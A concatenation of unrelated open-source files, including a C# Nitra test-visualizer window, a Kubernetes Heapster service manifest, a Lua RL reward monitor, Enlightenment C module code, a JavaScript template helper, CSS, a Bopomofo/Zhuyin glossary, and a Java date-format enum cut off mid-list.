}
}
finally
{
_loading = false;
}
SaveSelectedTestAndTestSuite();
_settings.Save();
Reparse();
}
private void ChangeCurrentTest(TestSuiteVm newTestSuite, TestFolderVm newTestFolder, TestVm newTest, string code)
{
if (newTestSuite != _currentTestSuite && newTestSuite != null)
{
_highlightingStyles.Clear();
foreach (var spanClass in newTestSuite.Language.GetSpanClasses())
_highlightingStyles.Add(spanClass.FullName, MakeHighlightingColor(spanClass));
}
_currentTestSuite = newTestSuite;
_currentTestFolder = newTestFolder;
_currentTest = newTest;
_text.Text = code;
}
private HighlightingColor MakeHighlightingColor(SpanClass spanClass)
{
return new HighlightingColor
{
Foreground = new SimpleHighlightingBrush(ColorFromArgb(spanClass.Style.ForegroundColor))
};
}
private void OnRemoveTestSuite(object sender, ExecutedRoutedEventArgs e)
{
if (_solution == null || _currentTestSuite == null)
return;
if (MessageBox.Show(this, "Do you want to delete the '" + _currentTestSuite.Name + "' test suite?\r\nAll test will be deleted!", "Visualizer!", MessageBoxButton.YesNo,
MessageBoxImage.Question, MessageBoxResult.No) != MessageBoxResult.Yes)
return;
_currentTestSuite.Remove();
}
private void CommandBinding_CanRemoveTestSuite(object sender, CanExecuteRoutedEventArgs e)
{
e.CanExecute = _currentTestSuite != null;
e.Handled = true;
}
private void OnRunTest(object sender, ExecutedRoutedEventArgs e)
{
RunTest();
}
private void RunTest()
{
{
var test = _testsTreeView.SelectedItem as TestVm;
if (test != null)
{
RunTest(test);
test.TestSuite.TestStateChanged();
if (test.TestState == TestState.Failure)
_testResultDiffTabItem.IsSelected = true;
}
}
var testSuite = _testsTreeView.SelectedItem as TestSuiteVm;
if (testSuite != null)
{
foreach (var test in testSuite.Tests)
RunTest(test);
testSuite.TestStateChanged();
}
}
private void CommandBinding_CanRunTest(object sender, CanExecuteRoutedEventArgs e)
{
if (_testsTreeView == null)
return;
if (_testsTreeView.SelectedItem is TestVm)
{
e.CanExecute = true;
e.Handled = true;
}
else if (_testsTreeView.SelectedItem is TestSuiteVm)
{
e.CanExecute = true;
e.Handled = true;
}
}
private void _testsTreeView_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
RunTest();
e.Handled = true;
}
private void _configComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (_loading)
return;
var config = (string)_configComboBox.SelectedItem;
_settings.Config = config;
LoadTests();
}
private void OnUpdateTest(object sender, ExecutedRoutedEventArgs e)
{
var test = _testsTreeView.SelectedItem as TestVm;
if (test != null)
{
try
{
test.Update(_text.Text, _prettyPrintTextBox.Text);
test.TestSuite.TestStateChanged();
}
catch (Exception ex)
{
MessageBox.Show(this, "Fail to update the test '" + test.Name + "'." + Environment.NewLine + ex.GetType().Name + ":" + ex.Message, "Visualizer!",
MessageBoxButton.YesNo,
MessageBoxImage.Error);
}
}
}
private void OnReparse(object sender, ExecutedRoutedEventArgs e)
{
Reparse();
}
private void Reparse()
{
if (Dispatcher.CheckAccess())
DoParse();
else
Dispatcher.Invoke(new Action(DoParse));
}
private void _reflectionTreeView_SelectedItemChanged(object sender, DependencyPropertyChangedEventArgs e)
{
if (_doChangeCaretPos)
return;
var node = e.NewValue as ReflectionStruct;
if (node == null)
return;
if (_text.IsKeyboardFocusWithin)
return;
_doTreeOperation = true;
try
{
_text.TextArea.Caret.Offset = node.Span.StartPos;
_text.ScrollTo(_text.TextArea.Caret.Line, _text.TextArea.Caret.Column);
_text.TextArea.AllowCaretOutsideSelection();
_text.Select(node.Span.StartPos, node.Span.Length);
}
finally
{
_doTreeOperation = false;
}
}
private void OnShowGrammar(object sender, ExecutedRoutedEventArgs e)
{
if (_currentTestSuite == null)
return;
_currentTestSuite.ShowGrammar();
}
private void CommandBinding_CanShowGrammar(object sender, CanExecuteRoutedEventArgs e)
{
e.CanExecute = _currentTestSuite != null;
e.Handled = true;
}
private CompletionWindow _completionWindow;
private void _control_KeyDown_resize(object sender, KeyEventArgs e)
{
var control = sender as Control;
if (control != null)
{
if (e.Key == Key.Add && Keyboard.Modifiers == ModifierKeys.Control)
control.FontSize++;
else if (e.Key == Key.Subtract && Keyboard.Modifiers == ModifierKeys.Control)
control.FontSize--;
if (Keyboard.Modifiers != ModifierKeys.Control)
return;
if (Keyboard.IsKeyDown(Key.Space))
{
ShowCompletionWindow(_text.CaretOffset);
e.Handled = true;
}
else if (e.Key == Key.Oem6) // Oem6 - '}'
TryMatchBraces();
}
}
private void ShowCompletionWindow(int pos)
{
if(_parseResult == null || _astRoot == null)
return;
var completionList = CompleteWord(pos, _astRoot);
_completionWindow = new CompletionWindow(_text.TextArea);
IList<ICompletionData> data = _completionWindow.CompletionList.CompletionData;
foreach (var completionData in completionList)
if (!string.IsNullOrEmpty(completionData.Text) && char.IsLetter(completionData.Text[0]))
data.Add(completionData);
_completionWindow.Show();
_completionWindow.Closed += delegate { _completionWindow = null; };
}
private List<CompletionData> CompleteWord(int pos, IAst astRoot)
{
var completionList = new List<CompletionData>();
// not supported
return completionList;
}
private static bool IsIdenrChar(char c)
{
return char.IsLetterOrDigit(c) || c == '_';
}
private void TryMatchBraces()
{
var pos = _text.CaretOffset;
foreach (var bracket in _matchedBrackets)
{
if (TryMatchBrace(bracket.OpenBracket, pos, bracket.CloseBracket.EndPos))
break;
if (TryMatchBrace(bracket.CloseBracket, pos, bracket.OpenBracket.StartPos))
break;
}
}
private bool TryMatchBrace(NSpan brace, int pos, int gotoPos)
{
if (!brace.IntersectsWith(pos))
return false;
_text.CaretOffset = gotoPos;
_text.ScrollTo(_text.TextArea.Caret.Line, _text.TextArea.Caret.Column);
return true;
}
private void _testsTreeView_CopyNodeText(object sender, RoutedEventArgs e)
{
CopyTreeNodeToClipboard(_testsTreeView.SelectedItem);
}
private void _errorsTreeView_CopyNodeText(object sender, RoutedEventArgs e)
{
CopyTreeNodeToClipboard(((TreeViewItem)_errorsTreeView.SelectedItem).Header);
}
private static void CopyTreeNodeToClipboard(object node)
{
if (node != null)
{
var text = node.ToString();
Clipboard.SetData(DataFormats.Text, text);
Clipboard.SetData(DataFormats.UnicodeText, text);
}
}
private void OnSolutionNew(object sender, ExecutedRoutedEventArgs e)
{
var dialog = new System.Windows.Forms.SaveFileDialog();
using (dialog)
{
dialog.CheckFileExists = false;
dialog.DefaultExt = "nsln";
dialog.Filter = "Nitra visualizer solution (*.nsln)|*.nsln";
//dialog.InitialDirectory = GetDefaultDirectory();
if (dialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
var solutionFilePath = dialog.FileName;
try
{
File.WriteAllText(dialog.FileName, "", Encoding.UTF8);
}
catch (Exception ex)
{
MessageBox.Show(this, "Can't create the file '" + solutionFilePath + "'.\r\n" + ex.GetType().Name + ":" + ex.Message, Constants.AppName, MessageBoxButton.OK, MessageBoxImage.Error);
return;
}
OpenSolution(solutionFilePath);
}
}
}
private void OpenSolution(string solutionFilePath)
{
_settings.CurrentSolution = solutionFilePath;
_solution = new SolutionVm(solutionFilePath, null, _settings.Config);
_testsTreeView.ItemsSource = _solution.TestSuites;
RecentFileList.InsertFile(solutionFilePath);
}
private void OnSolutionOpen(object sender, ExecutedRoutedEventArgs e)
{
var dialog = new System.Windows.Forms.OpenFileDialog();
using (dialog)
{
dialog.Multiselect = false;
dialog.CheckFileExists = true;
dialog.DefaultExt = "nsln";
dialog.Filter = "Nitra visualizer solution (*.nsln)|*.nsln";
//dialog.InitialDirectory = GetDefaultDirectory();
if (dialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
OpenSolution(dialog.FileName);
}
}
}
private ContextMenu _defaultContextMenu;
private void OnAddExistsTestSuite(object sender, ExecutedRoutedEventArgs e)
{
var unattachedTestSuites = _solution.GetUnattachedTestSuites();
var menu = new ContextMenu();
foreach (var name in unattachedTestSuites)
{
var item = new MenuItem();
item.Header = name;
item.Click += item_Click;
menu.Items.Add(item);
}
_defaultContextMenu = _testsTreeView.ContextMenu;
_testsTreeView.ContextMenu = menu;
menu.Closed += menu_Closed;
menu.IsOpen = true;
}
void menu_Closed(object sender, RoutedEventArgs e)
{
_testsTreeView.ContextMenu = _defaultContextMenu;
}
void item_Click(object sender, RoutedEventArgs e)
{
var name = (string)((MenuItem)e.Source).Header;
var testSuite = new TestSuiteVm(_solution, name, _settings.Config);
testSuite.IsSelected = true;
_solution.Save();
}
private void CommandBinding_CanOnAddTestSuite(object sender, CanExecuteRoutedEventArgs e)
{
e.CanExecute = _solution != null;
e.Handled = true;
}
private void OnEditTestSuite(object sender, ExecutedRoutedEventArgs e)
{
EditTestSuite(false);
}
private void CommandBinding_CanOnEditTestSuite(object sender, CanExecuteRoutedEventArgs e)
{
e.Handled = true;
e.CanExecute = _currentTestSuite != null;
}
private void RecentFileList_OnMenuClick(object sender, RecentFileList.MenuClickEventArgs e)
{
OpenSolution(e.Filepath);
}
private void OnUsePanicRecovery(object sender, ExecutedRoutedEventArgs e)
{
OnReparse(null, null);
}
private void EventSetter_OnHandler(object sender, MouseButtonEventArgs e)
{
var tvi = sender as TreeViewItem;
if (tvi != null && e.ChangedButton == MouseButton.Right && e.ButtonState == MouseButtonState.Pressed)
tvi.IsSelected = true;
}
private static string MakeTestFileName(TestFolderVm testFolder)
{
var names = new bool['Z' - 'A'];
foreach (var t in testFolder.Tests)
{
var name = t.Name;
if (name.Length == 1)
{
var ch = name[0];
if (ch >= 'A' && ch <= 'Z')
names[ch - 'A'] = true;
}
}
for (int i = 0; i < names.Length; i++)
if (!names[i])
return ((char)('A' + i)).ToString();
return Path.GetFileNameWithoutExtension(Path.GetTempFileName());
}
private void AddFile_MenuItem_OnClick(object sender, RoutedEventArgs e)
{
TestFolderVm testFolder;
var test = _testsTreeView.SelectedItem as TestVm;
if (test != null)
{
var dirPath = Path.ChangeExtension(test.TestPath, null);
if (!Directory.Exists(dirPath))
Directory.CreateDirectory(dirPath);
testFolder = new TestFolderVm(dirPath, test.TestSuite);
var suite = (TestSuiteVm)test.Parent;
var index = suite.Tests.IndexOf(test);
suite.Tests[index] = testFolder;
var firstFilePath = Path.Combine(dirPath, MakeTestFileName(testFolder) + ".test");
if (File.Exists(test.TestPath))
File.Move(test.TestPath, firstFilePath);
else
File.WriteAllText(firstFilePath, Environment.NewLine, Encoding.UTF8);
if (File.Exists(test.GolgPath))
File.Move(test.GolgPath, Path.ChangeExtension(firstFilePath, ".gold"));
testFolder.Tests.Add(new TestVm(firstFilePath, testFolder.Tests.Count, testFolder));
AddNewFileToMultitest(testFolder).IsSelected = true;
return;
}
testFolder = _testsTreeView.SelectedItem as TestFolderVm;
if (testFolder != null)
{
AddNewFileToMultitest(testFolder).IsSelected = true;
}
}
private static TestVm AddNewFileToMultitest(TestFolderVm testFolder)
{
var name = MakeTestFileName(testFolder);
var path = Path.Combine(testFolder.TestPath, name + ".test");
File.WriteAllText(path, Environment.NewLine, Encoding.UTF8);
var newTest = new TestVm(path, testFolder.Tests.Count, testFolder);
testFolder.Tests.Add(newTest);
return newTest;
}
private void CopyReflectionText(object sender, RoutedEventArgs e)
{
var reflectionStruct = _reflectionTreeView.SelectedItem as ReflectionStruct;
if (reflectionStruct != null)
CopyTreeNodeToClipboard(reflectionStruct.Description);
}
private void DeleteFile_MenuItem_OnClick(object sender, RoutedEventArgs e)
{
Delete();
}
private void Delete()
{
TestFolderVm testFolder;
var test = _testsTreeView.SelectedItem as TestVm;
if (test != null)
{
if (File.Exists(test.TestPath))
File.Delete(test.TestPath);
var goldPath = Path.ChangeExtension(test.TestPath, ".gold");
if (File.Exists(goldPath))
File.Delete(goldPath);
testFolder = test.Parent as TestFolderVm;
if (testFolder != null)
{
var index = testFolder.Tests.IndexOf(test);
testFolder.Tests.Remove(test);
if (index < testFolder.Tests.Count)
testFolder.Tests[index].IsSelected = true;
else if (index > 0)
testFolder.Tests[index - 1].IsSelected = true;
}
else
{
var suite = test.TestSuite;
var index = suite.Tests.IndexOf(test);
test.TestSuite.Tests.Remove(test);
if (index < suite.Tests.Count)
suite.Tests[index].IsSelected = true;
else if (index > 0)
suite.Tests[index - 1].IsSelected = true;
}
return;
}
testFolder = _testsTreeView.SelectedItem as TestFolderVm;
if (testFolder != null)
{
if (Directory.Exists(testFolder.TestPath))
FileSystem.DeleteDirectory(testFolder.TestPath, UIOption.OnlyErrorDialogs, RecycleOption.DeletePermanently);
var suite = testFolder.TestSuite;
var index = suite.Tests.IndexOf(testFolder);
suite.Tests.Remove(testFolder);
if (index < suite.Tests.Count)
suite.Tests[index].IsSelected = true;
else if (index > 0)
suite.Tests[index - 1].IsSelected = true;
}
}
public Color ColorFromArgb(int argb)
{
unchecked
{
return Color.FromArgb((byte)(argb >> 24), (byte)(argb >> 16), (byte)(argb >> 8), (byte)argb);
}
}
}
}
| {
"pile_set_name": "Github"
} |
apiVersion: v1
kind: Service
metadata:
labels:
task: monitoring
# For use as a Cluster add-on (https://github.com/kubernetes/kubernetes/tree/master/cluster/addons)
# If you are NOT using this as an addon, you should comment out this line.
kubernetes.io/cluster-service: 'true'
kubernetes.io/name: Heapster
name: heapster
namespace: kube-system
spec:
ports:
- port: 80
targetPort: 8082
selector:
k8s-app: heapster
| {
"pile_set_name": "Github"
} |
--- This class implements a set of tools for (easy) RL experiments
local RLTools = torch.class('rltorch.RLTools');
--- This function launches nb_trajectories trajectories and save the total discounted reward + trajectories lengths in a log (see tutorials/t2_policygradient_bis.lua)
----- policy : the policy
----- environment : the environment
----- lig : the log object
--- parameters:
----- discount_factor : the discount_factor (deault 1)
----- nb_trajectories : the number of trajectories (default 1000)
----- size_max_trajectories : the maximum size of each trajectory (default nil => + infinity)
----- render_parameters: if one wants to render the environment, then you have to provide the render parameters
----- display_every : display the reward evry n iterations
--- The policy receives the immediate reward, and the discounted sum of reward at the end of the episode
function RLTools:monitorReward(environment,policy,log,parameters)
if (parameters.discount_factor==nil) then parameters.discount_factor=1 end
if (parameters.nb_trajectories==nil) then parameters.nb_trajectories=1000 end
print(policy)
local rewards={}
for i=1,parameters.nb_trajectories do
local out=env:reset()
policy:new_episode(out)
local sum_reward=0.0
local current_discount=1.0
local flag=true
local current_iteration=0
while(flag) do
if (parameters.render_parameters~=nil) then env:render(parameters.render_parameters) end
local action=policy:sample()
local observation,reward,done,info=unpack(env:step(action))
policy:feedback(reward) -- the immediate reward is provided to the policy
policy:observe(observation)
sum_reward=sum_reward+current_discount*reward -- comptues the discounted sum of rewards
current_discount=current_discount*parameters.discount_factor
current_iteration=current_iteration+1
if (done) then
flag=false
end
if (parameters.size_max_trajectories~=nil) then
if (current_iteration>=parameters.size_max_trajectories) then
flag=false end
end
end
policy:end_episode(sum_reward) -- The feedback provided for the whole episode here is the discounted sum of rewards
log:newIteration()
log:addValue("length",current_iteration)
log:addValue("reward",sum_reward)
rewards[i]=sum_reward
if (parameters.display_every~=nil) then
if (i%parameters.display_every==0) then gnuplot.plot(torch.Tensor(rewards),"|") end
end
end
env:close()
log:newIteration()
end
| {
"pile_set_name": "Github"
} |
#include "e_mod_main.h"
/* actual module specifics */
static Eina_Array* ifaces = NULL;
/* module setup */
EAPI E_Module_Api e_modapi =
{
E_MODULE_API_VERSION,
"IPC Extension"
};
EAPI void *
e_modapi_init(E_Module *m)
{
ifaces = eina_array_new(6);
msgbus_lang_init(ifaces);
msgbus_desktop_init(ifaces);
msgbus_audit_init(ifaces);
msgbus_config_init(ifaces);
return m;
}
EAPI int
e_modapi_shutdown(E_Module *m __UNUSED__)
{
E_DBus_Interface* iface;
Eina_Array_Iterator iter;
size_t i;
EINA_ARRAY_ITER_NEXT(ifaces, i, iface, iter)
{
e_msgbus_interface_detach(iface);
e_dbus_interface_unref(iface);
}
eina_array_free(ifaces);
ifaces = NULL;
return 1;
}
EAPI int
e_modapi_save(E_Module *m __UNUSED__)
{
return 1;
}
| {
"pile_set_name": "Github"
} |
/**
* @file utils.template.js
* 处理前后端模板统一 (SSR & SPA)
* @author lavas
*/
import template from 'lodash.template';
import fs from 'fs-extra';
import path from 'path';
import Logger from './logger'
const serverTemplatePath = fs.readFileSync(path.resolve(__dirname, '../templates/server.html.tmpl'));
const clientTemplatePath = fs.readFileSync(path.resolve(__dirname, '../templates/client.html.tmpl'));
function inner(customTemplate, ssr, baseUrl) {
let isDeprecated = /<%=\s*(render|useCustomOnly|baseUrl)/.test(customTemplate);
if (!isDeprecated) {
return template(customTemplate)({ssr}).replace(/<</g, '<%').replace(/>>/g, '%>');
}
Logger.warn('build', 'Using `core/index.html.tmpl` is DEPRECATED!!')
Logger.warn('build', 'See `https://lavas.baidu.com/guide/v2/advanced/core#indexhtmltmpl` for more infomation\n');
let templatePath = ssr ? serverTemplatePath : clientTemplatePath;
let useCustomOnlyFlag = false;
let renderMetaFlag = false;
let renderManifestFlag = false;
let renderEntryFlag = false;
let temp = template(customTemplate)({
useCustomOnly() {
useCustomOnlyFlag = true;
return '';
},
baseUrl,
renderMeta() {
renderMetaFlag = true;
return '';
},
renderManifest() {
renderManifestFlag = true;
return '';
},
renderEntry() {
renderEntryFlag = true;
return '@RENDER_ENTRY@';
}
});
if (useCustomOnlyFlag) {
return temp;
}
// render server/client template with flags
let real = template(templatePath)({
renderMetaFlag,
renderManifestFlag
});
// replace custom content into result
let customHead = '';
let customBodyBefore = '';
let customBodyAfter = '';
try {
customHead = temp.match(/<head>([\w\W]+)<\/head>/)[1];
if (renderEntryFlag) {
customBodyBefore = temp.match(/<body>([\w\W]+)@RENDER_ENTRY@/)[1];
customBodyAfter = temp.match(/@RENDER_ENTRY@([\w\W]+)<\/body>/)[1];
}
}
catch (e) {
// do nothing
}
real = real.replace('<!-- @CUSTOM_HEAD@ -->', customHead);
real = real.replace('<!-- @CUSTOM_BODY_BEFORE@ -->', customBodyBefore);
real = real.replace('<!-- @CUSTOM_BODY_AFTER@ -->', customBodyAfter);
return real;
}
export default {
client: (customTemplate, baseUrl) => inner(customTemplate, false, baseUrl),
server: (customTemplate, baseUrl) => inner(customTemplate, true, baseUrl)
};
| {
"pile_set_name": "Github"
} |
page{
background-color: white;
width: 750rpx;
}
.header-view{
width: 100%;
height: 160rpx;
background-color: #f5f4f4;
z-index: 500;
position: fixed;
top: 0;
}
.header-top{
height: 80rpx;
}
.header-bottom{
height: 80rpx;
display: flex;
flex-direction: row;
justify-content: space-around;
}
.category-item{
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between;
}
.category-item text{
margin-top: 25rpx;
font-size: 28rpx;
}
.category-item .line{
width: 80rpx;
height: 2rpx;
background-color: #ed4040;
}
.item0{
width: 60rpx;
}
.city-label{
width: 150rpx;
height: 80rpx;
font-size: 26rpx;
color: #ed4040;
text-align: center;
padding-top: 25rpx;
}
.header-view .address-view{
top: 15rpx;
width: 390rpx;
height: 50rpx;
background-color: #191919;
border-radius: 25rpx;
position: absolute;
right: 180rpx;
display: flex;
justify-content: center;
align-items: center;
}
/*地址显示栏*/
.address-view text{
color: white;
font-size: 28rpx;
margin-left: 30rpx;
margin-right: 30rpx;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
.left_img{
width: 20rpx;
height: 26rpx;
position: absolute;
left: 15rpx;
top: 10rpx;
}
.right_img{
width: 19rpx;
height: 10rpx;
position: absolute;
right: 20rpx;
top: 20rpx;
}
.content-view{
position: absolute;
top: 160rpx;
display: flex;
z-index: 100;
}
.hot{
width: 100%;
flex-direction: column;
padding-bottom: 80rpx;
}
.common{
padding-left: 30rpx;
padding-right: 30rpx;
flex-direction: row;
flex-wrap: wrap;
justify-content: space-between;
align-content: flex-start;
padding-bottom: 120rpx;
}
.hot-item{
width: 90%;
height: 490rpx;
margin-top: 20rpx;
margin-left: 5%;
position: relative;
}
.hot-item .good-img{
position: absolute;
width: 100%;
height: 410rpx;
}
.hot-item .sale-view{
position: absolute;
left: 0;
bottom: 40rpx;
}
.hot-item .button{
position: absolute;
right: 0;
bottom: 0;
width: 190rpx;
height: 50rpx;
background-color: #ed4040;
color: white;
font-size: 26rpx;
border-radius: 10rpx;
display: flex;
justify-content: center;
align-items: center;
}
.common-item{
width: 320rpx;
height: 400rpx;
margin-top: 20rpx;
position: relative;
}
.common-img{
width: 100%;
height: 320rpx;
position: absolute;
top: 0;
}
.common-name{
position: absolute;
width: 100%;
bottom: 80rpx;
height: 60rpx;
font: 26rpx;
color: white;
display: flex;
align-items: center;
background-color: rgba(0, 0, 0, 0.6)
}
.common-item .common-sale-view{
position: absolute;
left: 0;
bottom: 40rpx;
}
.common-item .common-price{
font-size: 28rpx;
position: absolute;
bottom: 5rpx;
}
.add-button{
width: 60rpx;
height: 60rpx;
position: absolute;
right: 0;
bottom: 0;
display: flex;
justify-content: flex-end;
align-items: center;
}
.shopcar-view{
position: fixed;
bottom: 5rpx;
left: 30rpx;
z-index: 1000;
}
.shopcar-view image{
width: 110rpx;
height: 110rpx;
} | {
"pile_set_name": "Github"
} |
# Glossary
In order to promote the consistency of naming within the project, the following words should be used (and only these words) to describe each of corresponding concept.
The [Wikipedia article on Bopomofo](https://en.wikipedia.org/wiki/Bopomofo) and related linguistic topics should be the direct reference of any new entries whenever possible, but it is preferable to use common word than linguistic terms if the meaning of the word is acceptable.
This list is sorted alphabetically.
## Bopomofo
Bopomofo symbols are set of phonetic notations used to denote all sounds in [Mandarin](#mandarin). The Chinese name is romanized as “[Zhuyin](#zhuyin)”.
## Encoded Sound
There is only a finite set of [sounds](#sound) in [Mandarin](#mandarin), and each of them can be denoted in Bopomofo symbols deterministically.
Therefore, with smart math and bitwise operation, sounds can be converted into a 16 bit number.
The numbers can be converted (“encode”) from the human-readable Bopomofo symbol set, and back (“decode”).
This technique was found in [libtabe](http://sourceforge.net/projects/libtabe/) project and the project document states it was inspired by [ETen Chinese System](https://en.wikipedia.org/wiki/ETen_Chinese_System), in early-1990s.
This project implements the encoder-decoder in `lib/bopomofo_encoder.js`.
It's worthy to note the encoded sounds can be stored in strings, since JavaScript strings are encoded in USC-2.
## Expended encoded sound
This is specific to JSZhuyin internally only.
Since the processing logic supports typing words with incomplete sounds, there will be multiple ways to seperate a set of symbols into (incomplete) sounds (as opposed to only seperate the sounds when step into the tonal mark).
Expended encoded sound encodes each symbol into it's own 16 bit number so they can be groupped and processed seperately.
The only exception is when a tonal mark is really encountered -- in that case symbols are regarded as a completed sound and they are not expended (this rule can be changed but results might not be useful to users).
## Input Method
> 輸入法
The written Chinese contains more graphemes than what can be ever put on a keyboard (it's been tried on printing presses and these machines are now in museums).
Computer users nowadays rely on input methods and it's search algorithm to find the desire outputs, from a limit set of symbols of input.
A Zhuyin-based input method (this project) uses Bopomofo symbols as inputs to do what's said above.
See [Wikipedia article on Input method](https://en.wikipedia.org/wiki/Input_method) for more information.
## Mandarin
> 普通話;華語;國語
The written Chinese can be pronounced in many Chinese languages. Mandarin, of northern origin, is the most widely spoken language, as a consequence of 20th century history.
[Bopomofo](#bopomofo) symbols are invented, originally, exclusively to denote sounds in Mandarin.
It is recommended to specifically distinguish the concept of “Mandarin” with written Chinese, although even native speakers don‘t do so often.
## Phrases
> 詞
A phrase is composed of multiple words, and represents a standalone meaning in modern Chinese (though there are often times single-[word](#word) phrase).
A “smart” Zhuyin-based input method therefore is about creating a search algorithm that could find the most probable phrases based on given set of sounds, automatically.
Phrases are collected as corpora and stored in the text corpus, to back the search algorithm of the input method.
## Sound
> 發音
A set of [Bopomofo](#bopomofo) symbols is used to compose a possible sound in Mandarin.
Many [words](#word) can be mapped to the same sound.
There are a lot of more different words than sounds in Mandarin.
## Symbol
> 符號
[Bopomofo](#bopomofo) symbol is what user actually types on a keyboard when operating an Zhuyin-based input method. Each of these symbols are assigned to a Unicode code point.
## Symbol Groups
[Bopomofo](#bopomofo) symbols can be classified into 3 groups, and the 5 [tonal marks](#tone) form it's own group.
Each of the groups represents different vocal component of the [sound](#sound), but the only related detail for us (for the purpose of information processing) is that all sounds can only have no or exactly one symbol from the same group.
Subsequently, “[encoded sound](#encoded-sound)” encodes each of the group in their own assigned bit positions.
We can also infer the number of sound a series of Bopomofo symbols inputted by pushing the next symbol in the same group to the next sound.
## Tone
> 聲調
Mandarin, like other spoken Chinese languages, are tonal languages.
A sound can only be denoted with a tone recorded by a tonal mark.
Consequently, a tonal mark can be used as a determiner when processing a set of symbols.
## Word
> 字
A word in Chinese is strictly refer to one, single, Chinese character, represented with one Unicode code point.
Almost all Chinese characters are morphemes, and almost all Chinese characters are, shockingly, contained in the CJK block within in Unicode BMP range (The 16 bit code point range).
As these are “almost”, and not facts, you should not assume a word can always fit in 16 bits, nor an “[encoded sound](#encoded-sound)” can already be matched by a word of same bit-length.
## Zhuyin
> 注音
“Zhuyin” the common romanization of the Chinese term “[Bopomofo](#bopomofo) symbols”, ironically, romanized in Pinyin.
| {
"pile_set_name": "Github"
} |
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.time;
import java.util.Arrays;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public enum FormatNames {
ISO8601("iso8601", "iso8601"),
BASIC_DATE("basicDate", "basic_date"),
BASIC_DATE_TIME("basicDateTime", "basic_date_time"),
BASIC_DATE_TIME_NO_MILLIS("basicDateTimeNoMillis", "basic_date_time_no_millis"),
BASIC_ORDINAL_DATE("basicOrdinalDate", "basic_ordinal_date"),
BASIC_ORDINAL_DATE_TIME("basicOrdinalDateTime", "basic_ordinal_date_time"),
BASIC_ORDINAL_DATE_TIME_NO_MILLIS("basicOrdinalDateTimeNoMillis", "basic_ordinal_date_time_no_millis"),
BASIC_TIME("basicTime", "basic_time"),
BASIC_TIME_NO_MILLIS("basicTimeNoMillis", "basic_time_no_millis"),
BASIC_T_TIME("basicTTime", "basic_t_time"),
BASIC_T_TIME_NO_MILLIS("basicTTimeNoMillis", "basic_t_time_no_millis"),
BASIC_WEEK_DATE("basicWeekDate", "basic_week_date"),
BASIC_WEEK_DATE_TIME("basicWeekDateTime", "basic_week_date_time"),
BASIC_WEEK_DATE_TIME_NO_MILLIS("basicWeekDateTimeNoMillis", "basic_week_date_time_no_millis"),
DATE("date", "date"),
DATE_HOUR("dateHour", "date_hour"),
DATE_HOUR_MINUTE("dateHourMinute", "date_hour_minute"),
DATE_HOUR_MINUTE_SECOND("dateHourMinuteSecond", "date_hour_minute_second"),
DATE_HOUR_MINUTE_SECOND_FRACTION("dateHourMinuteSecondFraction", "date_hour_minute_second_fraction"),
DATE_HOUR_MINUTE_SECOND_MILLIS("dateHourMinuteSecondMillis", "date_hour_minute_second_millis"),
DATE_OPTIONAL_TIME("dateOptionalTime", "date_optional_time"),
DATE_TIME("dateTime", "date_time"),
DATE_TIME_NO_MILLIS("dateTimeNoMillis", "date_time_no_millis"),
HOUR("hour", "hour"),
HOUR_MINUTE("hourMinute", "hour_minute"),
HOUR_MINUTE_SECOND("hourMinuteSecond", "hour_minute_second"),
HOUR_MINUTE_SECOND_FRACTION("hourMinuteSecondFraction", "hour_minute_second_fraction"),
HOUR_MINUTE_SECOND_MILLIS("hourMinuteSecondMillis", "hour_minute_second_millis"),
ORDINAL_DATE("ordinalDate", "ordinal_date"),
ORDINAL_DATE_TIME("ordinalDateTime", "ordinal_date_time"),
ORDINAL_DATE_TIME_NO_MILLIS("ordinalDateTimeNoMillis", "ordinal_date_time_no_millis"),
TIME("time", "time"),
TIME_NO_MILLIS("timeNoMillis", "time_no_millis"),
T_TIME("tTime", "t_time"),
T_TIME_NO_MILLIS("tTimeNoMillis", "t_time_no_millis"),
WEEK_DATE("weekDate", "week_date"),
WEEK_DATE_TIME("weekDateTime", "week_date_time"),
WEEK_DATE_TIME_NO_MILLIS("weekDateTimeNoMillis", "week_date_time_no_millis"),
WEEK_YEAR("weekyear", "week_year"),
WEEK_YEAR_WEEK("weekyearWeek", "weekyear_week"),
WEEKYEAR_WEEK_DAY("weekyearWeekDay", "weekyear_week_day"),
YEAR("year", "year"),
YEAR_MONTH("yearMonth", "year_month"),
YEAR_MONTH_DAY("yearMonthDay", "year_month_day"),
EPOCH_SECOND("epoch_second", "epoch_second"),
EPOCH_MILLIS("epoch_millis", "epoch_millis"),
// strict date formats here, must be at least 4 digits for year and two for months and two for day"
STRICT_BASIC_WEEK_DATE("strictBasicWeekDate", "strict_basic_week_date"),
STRICT_BASIC_WEEK_DATE_TIME("strictBasicWeekDateTime", "strict_basic_week_date_time"),
STRICT_BASIC_WEEK_DATE_TIME_NO_MILLIS("strictBasicWeekDateTimeNoMillis", "strict_basic_week_date_time_no_millis"),
STRICT_DATE("strictDate", "strict_date"),
STRICT_DATE_HOUR("strictDateHour", "strict_date_hour"),
STRICT_DATE_HOUR_MINUTE("strictDateHourMinute", "strict_date_hour_minute"),
STRICT_DATE_HOUR_MINUTE_SECOND("strictDateHourMinuteSecond", "strict_date_hour_minute_second"),
STRICT_DATE_HOUR_MINUTE_SECOND_FRACTION("strictDateHourMinuteSecondFraction", "strict_date_hour_minute_second_fraction"),
STRICT_DATE_HOUR_MINUTE_SECOND_MILLIS("strictDateHourMinuteSecondMillis", "strict_date_hour_minute_second_millis"),
STRICT_DATE_OPTIONAL_TIME("strictDateOptionalTime", "strict_date_optional_time"),
STRICT_DATE_OPTIONAL_TIME_NANOS("strictDateOptionalTimeNanos", "strict_date_optional_time_nanos"),
STRICT_DATE_TIME("strictDateTime", "strict_date_time"),
